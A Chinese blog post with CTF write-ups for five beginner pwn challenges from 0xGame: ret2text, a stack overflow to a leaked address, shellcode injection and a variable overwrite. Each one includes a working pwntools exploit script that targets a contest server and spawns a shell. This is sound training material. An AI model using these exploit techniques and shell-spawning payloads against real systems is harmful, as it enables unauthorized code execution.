Pwn_0xGame_01

5 篇文章 0 订阅

1.欢迎来到0xGame平台

nc出flag

2.帮我取一个题目名称

ret2text

打开IDA分析
main函数
在这里插入图片描述
跟进
第二个函数
在这里插入图片描述
s栈大小为20h=32
函数最后return read了s
所以很好写了
因为是64位程序,后面再加上8个字符

payload = 'a' * (0x20+8)

Shift+F12发现/bin/sh
在这里插入图片描述

exp:

from pwn import* 
p = remote('39.101.210.214 ',10002) 
payload = 'a' * (0x20+8) + p64(0x401172)
p.sendline(payload) 
p.interactive()

3.easy_stack

文件
easy_stack.txt:

────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────
EAX 0xffffcff0 ◂— 0x0
EBX 0x56558fb8 ◂— 0x3ec0
ECX 0xffffffff
EDX 0xffffffff
EDI 0xf7fa7000 (GLOBAL_OFFSET_TABLE) ◂— 0x1dfd6c
ESI 0xf7fa7000 (GLOBAL_OFFSET_TABLE) ◂— 0x1dfd6c
EBP 0xffffd078 —▸ 0xffffd088 ◂— 0x0
ESP 0xffffcfe0 ◂— 0x0
EIP 0x56556273 —▸ 0xfffdb8e8 ◂— 0x0
─────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────
► 0x56556273 call read@plt <0x56556030>
0x56556278 add esp, 0x10
0x5655627b nop
0x5655627c mov ebx, dword ptr [ebp - 4]
0x5655627f leave
0x56556280 ret
──────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────
00:0000│ esp 0xffffcfe0 ◂— 0x0
01:0004│ 0xffffcfe4 —▸ 0xffffcff0 ◂— 0x0
02:0008│ 0xffffcfe8 ◂— 0x100
03:000c│ 0xffffcfec —▸ 0x56556234 ◂— 0x2d84c381
04:0010│ eax 0xffffcff0 ◂— 0x0
… ↓

► 0x56556273 call read@plt <0x56556030>
调用了read函数,再看看read函数中的三个参数

read (fd, char *buf , count)

fd:文件描述符(文件指针) //fd写0,表示标准输入
buf:指向内存的指针 //也就是把数据写入的起始地址
count:读取的长度

再结合文件中

00:0000│ esp 0xffffcfe0 ◂— 0x0
01:0004│ 0xffffcfe4 —▸ 0xffffcff0◂— 0x0
02:0008│ 0xffffcfe8 ◂— 0x100

然后我们再观察ebp和eax的值

EAX 0xffffcff0 ◂— 0x0
EBP 0xffffd078 —▸ 0xffffd088 ◂— 0x0

因为通常返回地址是存在ebp下,所以计算一下偏移量 0xffffd078 - 0xffffcff0 = 0x88
read读取的数据长度是0x100
0x88 < 0x100
所以存在溢出
nc连接会回显个地址,并且这个地址是随机的
在这里插入图片描述
我们可以接收这个地址并让程序执行它
exp:


from pwn import* 
p = remote('39.101.210.214',10008) 
p.recvuntil('magic_address ') 
shell = int(p.recv(10),16) 
p.send('a' * (0x88+4) + p32(shell)) 
p.interactive()

4.该怎么起名呢

shellcode

题目让我们执行shellcode,但程序是64位的,pwntools生成的shellcode是32位的,所以我们需要设置架构
context.arch=‘AMD64’
否则有可能会报错
再看IDA
在这里插入图片描述
关键的在下面的buf+32
所以我们需要填充32个字符之后再送出shellcode

生成 shellcode

asm(shellcraft.sh())

运行一下文件
在这里插入图片描述
需要在’shellcode’之后再发送payload
所以要recvuntil(‘shellcode’)
exp:

from pwn import* 
context.arch = 'AMD64' 
p = remote('39.101.210.214',10003)
payload = 'a' * 32 + asm(shellcraft.sh())
p.recvuntil('shellcode')
p.sendline(payload)
p.interactive()

5.variable_coverage

变量覆盖

IDA分析下
在这里插入图片描述
程序读取%lld 一个longlong的数,它的长度为8个字节
后面判断v5等于0x2333后会调用system函数
构造payload = 0x233300000000
再看栈
在这里插入图片描述
4个字节的长度刚好是0x 0000 2333 0000 0000
也可以直接写0x233300000000,系统会自动填充前面的4个0,因为这是16进制的数
exp:

from pwn import* 

p = remote('39.101.210.214',10007) 

payload =  str(0x233300000000) 

p.sendline(payload)

p.interactive()

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值